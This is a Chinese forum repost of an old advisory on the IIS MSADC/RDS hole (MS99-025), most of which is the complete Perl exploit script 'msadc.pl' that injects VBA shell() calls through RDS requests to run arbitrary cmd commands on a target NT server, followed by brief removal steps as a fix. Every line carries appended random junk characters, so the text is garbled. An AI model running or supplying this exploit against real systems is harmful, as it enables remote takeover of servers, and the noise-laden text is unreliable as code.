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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ;4l-M2  
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涉及程序: q?(A!1(u  
Microsoft NT server }M^_Z#|,  
p?}f|mQS)  
描述: z1kBNOr  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 hr%U>U9F  
)sRN!~  
详细: j{)fC]8H  
如果你没有时间读详细内容的话,就删除: U&`6&$]  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 5[nmP95YK  
有关的安全问题就没有了。 Wux0RF&  
zaH 5 Km_j  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 :,jPNuOA  
' J2ewW5  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 o1Ne+Jt  
关于利用ODBC远程漏洞的描述,请参看: =[s8q2V  
ix:2Z-  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 33*^($bE&  
XMomFW_@  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 KuIkul9^%  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp d8 rBu jT  
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这里不再论述。 Fs?( UM  
,|6Y\L  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: s;anP0-O  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset u$apH{  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! J 0&zb'1  
Tc9&mKVE%(  
,?Ok[G!cm  
#将下面这段保存为txt文件,然后: "perl -x 文件名" TFNUv<>X  
j[_t6Z  
#!perl )uANmThOz  
# _MGNKA6JI  
# MSADC/RDS 'usage' (aka exploit) script ;9}w|!/  
#  o1 jk=  
# by rain.forest.puppy ,<7"K&  
# n/xXQ7y  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me |!{ z? i  
# beta test and find errors! KrJ5"1=  
#c6ui0E%;t  
use Socket; use Getopt::Std; ~azF+}x90N  
getopts("e:vd:h:XR", \%args); 43+EX.c  
f#*h^91x  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; f;e_04K  
:x8Jy4L  
if (!defined $args{h} && !defined $args{R}) { Ga]47pQ"F  
print qq~ d#E(~t(^  
Usage: msadc.pl -h <host> { -d <delay> -X -v } -K:yU4V  
-h <host> = host you want to scan (ip or domain) Y=AH%Gy9 )  
-d <seconds> = delay between calls, default 1 second bjuYA/w<  
-X = dump Index Server path table, if available F(J\ctha  
-v = verbose  -PcS(  
-e = external dictionary file for step 5 Cw6>^  
mYntU^4f  
Or a -R will resume a command session iU.!oeR?  
.UNF~}^H  
~; exit;} W,xi> 5k  
s.|!Ti!]  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; xt? 3_?1  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} -kWO2  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} j kSc&  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); kTr6{9L  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} OD{5m(JwL  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } PthId aN@  
`)0Rv|?  
if (!defined $args{R}){ $ret = &has_msadc; or?0PEx\  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} t8L<x  
KDux$V4  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" += X).X0K  
. "cmd /c "; v]B0!k&4.  
$in=<STDIN>; chomp $in; jVLY!7Z4  
$command="cmd /c " . $in ; ='7er.~\  
K#_~ !C4L  
if (defined $args{R}) {&load; exit;} :&xz5c`"04  
83mlZ1jQz  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; l\q*%'Pe  
&try_btcustmr; pw0Px  
5oVLv4Z9u  
print "\nStep 2: Trying to make our own DSN..."; %M|Z}2qv  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; L4MxU 2  
xnJjCEZ  
print "\nStep 3: Trying known DSNs..."; aQz|!8Is  
&known_dsn; i}.{m Et  
qzuQq94k  
print "\nStep 4: Trying known .mdbs..."; it(LphB8  
&known_mdb; A ~qW.  
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if (defined $args{e}){ 3$GY,B  
print "\nStep 5: Trying dictionary of DSN names..."; 4JX`>a{<  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } /X(@|tk:  
@N,:x\  
print "Sorry Charley...maybe next time?\n"; ;k9 ?  
exit; 3r,1^h  
G3Idxs  
############################################################################## Y}AmX  
ap Fs UsE  
sub sendraw { # ripped and modded from whisker Gg 7Wm L  
sleep($delay); # it's a DoS on the server! At least on mine... jA20c(O  
my ($pstr)=@_; .OVW4svX  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || lcu("^{3  
die("Socket problems\n"); ]jHh7> D  
if(connect(S,pack "SnA4x8",2,80,$target)){ BNAguAxWo  
select(S); $|=1; y #hga5  
print $pstr; my @in=<S>; }"F ?H:\  
select(STDOUT); close(S); 4yA9Ni  
return @in; w$w>N(e  
} else { die("Can't connect...\n"); }} ovhC4 2i  
@rnp- +kq  
############################################################################## jxRF"GD  
C><<0VhU  
sub make_header { # make the HTTP request *(?U  
my $msadc=<<EOT :z0s*,QH  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 LydbP17K}  
User-Agent: ACTIVEDATA \_m\U.*  
Host: $ip .V5q$5j  
Content-Length: $clen ib5;f0Qa  
Connection: Keep-Alive :FX'[7;p  
+-Z"H)  
ADCClientVersion:01.06 ,pQ'w7  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 MgJ%26TZ  
3a'Rs{qxn  
--!ADM!ROX!YOUR!WORLD! h(C#\{V  
Content-Type: application/x-varg :z izca4  
Content-Length: $reqlen LK'S)Jk  
fhBO~o+K>  
EOT K7 t&fDI  
; $msadc=~s/\n/\r\n/g; mF6@Y[/B  
return $msadc;} *G%1_   
]`#xR *a  
############################################################################## e5*5.AB6&  
%JP&ox|^&  
sub make_req { # make the RDS request (cOND/S  
my ($switch, $p1, $p2)=@_; no~OR Q  
my $req=""; my $t1, $t2, $query, $dsn; `^ieT#(O  
wx]+*Lzz  
if ($switch==1){ # this is the btcustmr.mdb query 8ktjDs$=.:  
$query="Select * from Customers where City=" . make_shell(); J~_L4* Jw  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . nUI63?  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} t*Z .e.q+  
)bB"12Z|8  
elsif ($switch==2){ # this is general make table query P#dG]NMf  
$query="create table AZZ (B int, C varchar(10))"; J8sJ~FnUj  
$dsn="$p1";} J6*\>N5W  
{pcf;1^t  
elsif ($switch==3){ # this is general exploit table query LY@1@O2@  
$query="select * from AZZ where C=" . make_shell(); 9TYw@o5V  
$dsn="$p1";} &A ;3; R  
s)=!2AY  
elsif ($switch==4){ # attempt to hork file info from index server VfL]O8P>  
$query="select path from scope()"; 8Pr&F  
$dsn="Provider=MSIDXS;";} c]AKeq]  
mhHA!:Y  
elsif ($switch==5){ # bad query 8! |.H p  
$query="select"; EmtDrx4!(f  
$dsn="$p1";} U~u6}s]:  
>:Rt>po8|w  
$t1= make_unicode($query); z")3_5Br  
$t2= make_unicode($dsn); o 1 hdO  
$req = "\x02\x00\x03\x00"; {#dp-5V  
$req.= "\x08\x00" . pack ("S1", length($t1)); .c=$ bQ>^  
$req.= "\x00\x00" . $t1 ; u%+6Mp[E  
$req.= "\x08\x00" . pack ("S1", length($t2)); jQ.>2-;H9  
$req.= "\x00\x00" . $t2 ; !#,-  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 8!`7-  
return $req;} ugIm:bg&  
"k\Ff50  
############################################################################## rQd1Ch  
boC>N   
sub make_shell { # this makes the shell() statement }$&T O$LX  
return "'|shell(\"$command\")|'";} K^z5x#Yj  
Y0P}KPD  
############################################################################## }<5\O*kX4  
b:}wR*Adc  
sub make_unicode { # quick little function to convert to unicode /I`cS%U  
my ($in)=@_; my $out; ?YkO+?}+  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } sx)$=~o  
return $out;} KRnB[$3F1  
E>l#0Zw  
############################################################################## 2R_opbw  
C,OB3y  
sub rdo_success { # checks for RDO return success (this is kludge) haEZp6Z  
my (@in) = @_; my $base=content_start(@in); *#prSS  
if($in[$base]=~/multipart\/mixed/){ CO:m]oj  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} bBeFL~  
return 0;} mR" 2  
K^]?@oHO  
############################################################################## Mv7w5vTl  
~WYE"(  
sub make_dsn { # this makes a DSN for us 75hFyh;u  
my @drives=("c","d","e","f"); .v #0cQX+.  
print "\nMaking DSN: "; 8T>3@kF  
foreach $drive (@drives) { YobC'c\~9  
print "$drive: "; M/8#&RycQ  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ,%)WT>  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Azq#}Oe)u  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); |k7ts&2  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; k2_6<v Z  
return 0 if $2 eq "404"; # not found/doesn't exist MQ9M%>  
if($2 eq "200") { ,z0~mN  
foreach $line (@results) { vjs|!O=oH  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} gNEzlx8A  
} return 0;} T9<H%iF  
;i-D~Np|  
############################################################################## yO$r'9?,*  
VuO)  
sub verify_exists { &|'Kut?8  
my ($page)=@_; 3 2iWYN  
my @results=sendraw("GET $page HTTP/1.0\n\n"); J#Ne:Aj_  
return $results[0];} PoBu kOv  
}OX>(  
############################################################################## G(7\<x:  
%b-;Rn  
sub try_btcustmr { U'sVs2sk6  
my @drives=("c","d","e","f"); XqE55Jclp  
my @dirs=("winnt","winnt35","winnt351","win","windows"); TeGLAt  
6bRQL}[  
foreach $dir (@dirs) { iP#A-du  
print "$dir -> "; # fun status so you can see progress i)`zKbK  
foreach $drive (@drives) { AT8B!m   
print "$drive: "; # ditto xy z\;3  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; lvz:UWo  
$reqlenlen=length( "$reqlen" ); b]so9aCz  
$clen= 206 + $reqlenlen + $reqlen; +X%fcoc  
fUL{c,7xda  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ^;bGP.!p  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 35@Ibe~  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} e%@[d<Ta\  
-?%{A%'  
############################################################################## M$>WmG1~D  
1^WA  
sub odbc_error { d9[6kQ]  
my (@in)=@_; my $base; 0()9vTY+  
my $base = content_start(@in); vUIK4uR.  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this tI!R5q;k  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; bb O;AiHD  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; soQv?4  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 93Ci$#<y  
return $in[$base+4].$in[$base+5].$in[$base+6];} qG2\` +v  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; E3.W#=o  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 6Ymo%OT  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} V)?x*R*T)  
#:ED 0</  
############################################################################## m|Q&Lphb8  
M*T# 5  
sub verbose { P`IMvOs&  
my ($in)=@_; ++p& x{  
return if !$verbose; G.q^Zd#.T  
print STDOUT "\n$in\n";} v;F+fOo  
T h- vG  
############################################################################## 9^Vx*KVrU  
d@>k\6%j  
sub save { a,0o{* (u$  
my ($p1, $p2, $p3, $p4)=@_; ?w5nKpG#RI  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; u7y7  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Med"dHo7  
close OUT;} ss*2TE7  
g9lg  
############################################################################## E*T84Jh6  
T=f;n;/>  
sub load { gx>mKSzy  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 7q{v9xKy  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); `w+9j-  
@p=<IN>; close(IN); 3sg)]3jm2  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ?BWvF]p5/  
$target= inet_aton($ip) || die("inet_aton problems"); _^2[(<Gmv  
print "Resuming to $ip ..."; ygy#^  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; hk$nlc|$  
if($p[1]==1) {  9jzLXym  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; u2.r,<rC*Q  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 2S10j%EeI  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); WCfe!P?g  
if (rdo_success(@results)){print "Success!\n";} 9:Z~}yX  
else { print "failed\n"; verbose(odbc_error(@results));}} [Ey%uh 6*  
elsif ($p[1]==3){ %Ty {1'o  
if(run_query("$p[3]")){ fdH'z:Xao  
print "Success!\n";} else { print "failed\n"; }} RVKaqJ0e<  
elsif ($p[1]==4){ ^%OH}Z`ly  
if(run_query($drvst . "$p[3]")){ !#|fuOWe  
print "Success!\n"; } else { print "failed\n"; }} X)R] a]1A  
exit;} r`E1<aCr|  
y88}f&z#5  
############################################################################## {ZIFj.2  
:c/=fWM%  
sub create_table { hjp?/i%TQ  
my ($in)=@_; w-Q 6 -  
$reqlen=length( make_req(2,$in,"") ) - 28; FLnAN;  
$reqlenlen=length( "$reqlen" ); wM&x8 <  
$clen= 206 + $reqlenlen + $reqlen; -{amzyvLE  
my @results=sendraw(make_header() . make_req(2,$in,"")); me`$5Z`  
return 1 if rdo_success(@results); ?28GQyk4  
my $temp= odbc_error(@results); verbose($temp); \g[f4xAV  
return 1 if $temp=~/Table 'AZZ' already exists/; A[,"jh  
return 0;} Ug'nr  
uu/7Ie  
############################################################################## jeuNTDjeL  
.STf  
sub known_dsn { Nwu Be:"@  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go (lck6v?h  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", PQ#-.K  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ,c %gwzU  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); I;m@cSJ|j  
_.8]7f`*Gc  
foreach $dSn (@dsns) { ^l2d?v8  
print "."; ;@-5lCvC(+  
next if (!is_access("DSN=$dSn"));  !+VN   
if(create_table("DSN=$dSn")){ Hr,gV2n  
print "$dSn successful\n"; =/'*(\C2  
if(run_query("DSN=$dSn")){ ps;o[gB@5  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { jxOVH+?l%  
print "Something's borked. Use verbose next time\n";}}} print "\n";} nhxd  
Xqva&/-  
############################################################################## v5bb|o[{K  
1#_j6 Q2  
sub is_access { nz?BLO=  
my ($in)=@_; /Ta0}Y(y  
$reqlen=length( make_req(5,$in,"") ) - 28; KZ/^gR\d  
$reqlenlen=length( "$reqlen" ); EsxTBg  
$clen= 206 + $reqlenlen + $reqlen; Zu73x#pI  
my @results=sendraw(make_header() . make_req(5,$in,"")); 3bL2fsn5  
my $temp= odbc_error(@results); W oG  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); (']z\4o  
return 0;} exN#!& ;  
a|{<#<6n(  
############################################################################## k.R/X  
ZZJ"Ny.2  
sub run_query { `e;Sjf<  
my ($in)=@_; ZTz(NS EK  
$reqlen=length( make_req(3,$in,"") ) - 28; Ytnr$*5.  
$reqlenlen=length( "$reqlen" ); Us~wv"L=UX  
$clen= 206 + $reqlenlen + $reqlen; QS?9&+JM|  
my @results=sendraw(make_header() . make_req(3,$in,"")); /%'7sx[p  
return 1 if rdo_success(@results); Y~ ?YA/.x  
my $temp= odbc_error(@results); verbose($temp); |B WK"G  
return 0;} \yizIo.Y`  
MZMv.OeYt,  
############################################################################## GT}#iM  
;Wm)e~`,  
sub known_mdb { ,r,;2,;6nd  
my @drives=("c","d","e","f","g"); ;j\$[4W.i  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ~(P\F&A(&  
my $dir, $drive, $mdb; mpJ_VS`  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ?Lb7~XKt\  
Ps5wQaS  
# this is sparse, because I don't know of many 1ucUnNkcV  
my @sysmdbs=( "\\catroot\\icatalog.mdb", XzFqQ- H  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", d#,V^  
"\\system32\\certmdb.mdb", nE.s  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% bGnJ4R3J  
eb woMG,B-  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", j`M<M[C*4N  
"\\cfusion\\cfapps\\forums\\forums_.mdb", BnY|t2r  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", (&x\,19U$  
"\\cfusion\\cfapps\\security\\realm_.mdb", c`=h K*  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 3/<^R}w\  
"\\cfusion\\database\\cfexamples.mdb", J-?(sjIX  
"\\cfusion\\database\\cfsnippets.mdb", ?^GsR[-x  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", -+Ji~;b  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 5. UgJ/  
"\\cfusion\\brighttiger\\database\\cleam.mdb", J, U~ .c  
"\\cfusion\\database\\smpolicy.mdb", ?Og ;W9i  
"\\cfusion\\database\cypress.mdb", F<<H [,%0  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", >(J!8*7  
"\\website\\cgi-win\\dbsample.mdb", l),13"?C(  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 32'9Ch.  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" %R"nm  
); #these are just :#KURYO<  
foreach $drive (@drives) { } +Z;zm@/6  
foreach $dir (@dirs){ a m%{M7":7  
foreach $mdb (@sysmdbs) { &,|uTIs  
print "."; 9:5NX3"p  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ UZ0O j5B.  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 3+PM_c)Y  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ OtqLigt&l  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; \K=PIcH  
} else { print "Something's borked. Use verbose next time\n"; }}}}} IUG .q8  
Efd[ZJxS6  
foreach $drive (@drives) { `G{t<7[[;  
foreach $mdb (@mdbs) { HYa!$P3}[  
print "."; AU\!5+RDB  
if(create_table($drv . $drive . $dir . $mdb)){ ZWW}r~d{  
print "\n" . $drive . $dir . $mdb . " successful\n"; pDN,(Ip  
if(run_query($drv . $drive . $dir . $mdb)){ W]]2Uo.  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; t $%}*@x7  
} else { print "Something's borked. Use verbose next time\n"; }}}} GUZi }a|=  
} ?E+XD'~  
;!Bkk9r"H  
############################################################################## 5mBk[{  
c67!OHumP  
sub hork_idx { cne[-E  
print "\nAttempting to dump Index Server tables...\n"; sTYl' Ieg  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 1 SZa\ ][@  
$reqlen=length( make_req(4,"","") ) - 28; 5n#&Hjb*F0  
$reqlenlen=length( "$reqlen" ); D4T+Gk"n  
$clen= 206 + $reqlenlen + $reqlen; |,f6c Om f  
my @results=sendraw2(make_header() . make_req(4,"","")); B}T72!a  
if (rdo_success(@results)){ l/M+JT~R  
my $max=@results; my $c; my %d; g}h0J%s  
for($c=19; $c<$max; $c++){ I[C.iILL  
$results[$c]=~s/\x00//g; J(L$pIM  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; p 1fnuN |,  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; (#BA{9T,^  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 6?~pjMV  
$d{"$1$2"}="";} N|d@B{a(  
foreach $c (keys %d){ print "$c\n"; } %%u4( '=  
} else {print "Index server doesn't seem to be installed.\n"; }} LRgk9*@,  
|a3b2x,  
############################################################################## --D`YmB  
IC42O_^  
sub dsn_dict { QY! A[!6h  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ]kvE+m&p}^  
while(<IN>){ jlZNANR3  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 7MfvU|D[d/  
next if (!is_access("DSN=$dSn")); Jl}7]cVq#  
if(create_table("DSN=$dSn")){ ~=Sr0+vV  
print "$dSn successful\n"; ;T(^riAEl  
if(run_query("DSN=$dSn")){ b`=rd 4cpU  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 9bvd1bKEW  
print "Something's borked. Use verbose next time\n";}}} ? 'nMZ  
print "\n"; close(IN);} xbIA97g-O,  
5$w1[}UUd  
############################################################################## _E7eJSM.  
@n3PCH6:Ao  
sub sendraw2 { # ripped and modded from whisker }%|OnEk"  
sleep($delay); # it's a DoS on the server! At least on mine... RUO6Co-  
my ($pstr)=@_; IS~oyFS  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ^.7xu/T  
die("Socket problems\n"); u[@*}|uXM  
if(connect(S,pack "SnA4x8",2,80,$target)){ {:cA'6f.b  
print "Connected. Getting data"; 8'62[e|=7[  
open(OUT,">raw.out"); my @in; Yzz8:n  
select(S); $|=1; print $pstr; To95WG7G  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Z m>69gl  
close(OUT); select(STDOUT); close(S); return @in; kM@,^`&  
} else { die("Can't connect...\n"); }} #/6X44 *u  
<Do89  
############################################################################## >~ :]+q  
6w#v,RDEu  
sub content_start { # this will take in the server headers e V#H"fM  
my (@in)=@_; my $c; c{0?gt.  
for ($c=1;$c<500;$c++) { Q=E6ZxH5;  
if($in[$c] =~/^\x0d\x0a/){ ] a()siT  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } #t*c*o  
else { return $c+1; }}} 7t QiKrhp  
return -1;} # it should never get here actually K(Nk|gQ  
&/" qOZAs  
############################################################################## Ar_/9@n  
5irOK9hK  
sub funky { ah.Kb(d:  
my (@in)=@_; my $error=odbc_error(@in); WJWrLu92\U  
if($error=~/ADO could not find the specified provider/){ NgQl;$  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; w6tY6bf}  
exit;} A_+ WY|#M  
if($error=~/A Handler is required/){ X5=7DE]  
print "\nServer has custom handler filters (they most likely are patched)\n"; O)?0G$0  
exit;} >'eqOZM  
if($error=~/specified Handler has denied Access/){ V^D#i(5  
print "\nServer has custom handler filters (they most likely are patched)\n"; Gy5W;,$q  
exit;}}  qn .  
SE1 tlP  
############################################################################## TnrMR1Zx  
JP]K\nQx'  
sub has_msadc { H+Wd#7l,  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); .0 K8h:I  
my $base=content_start(@results); 0 N(2[s_A  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); -$r fu  
return 0;} {_JLmyaerZ  
0J" 3RTt  
######################## &W%TY:Da|  
_nt%&f  
!E8JpE|z#  
解决方案: $}829<gh7  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll g|oPRC$I'  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 JmK+#o  
hf '3yEm  
拿出来充数 哈哈
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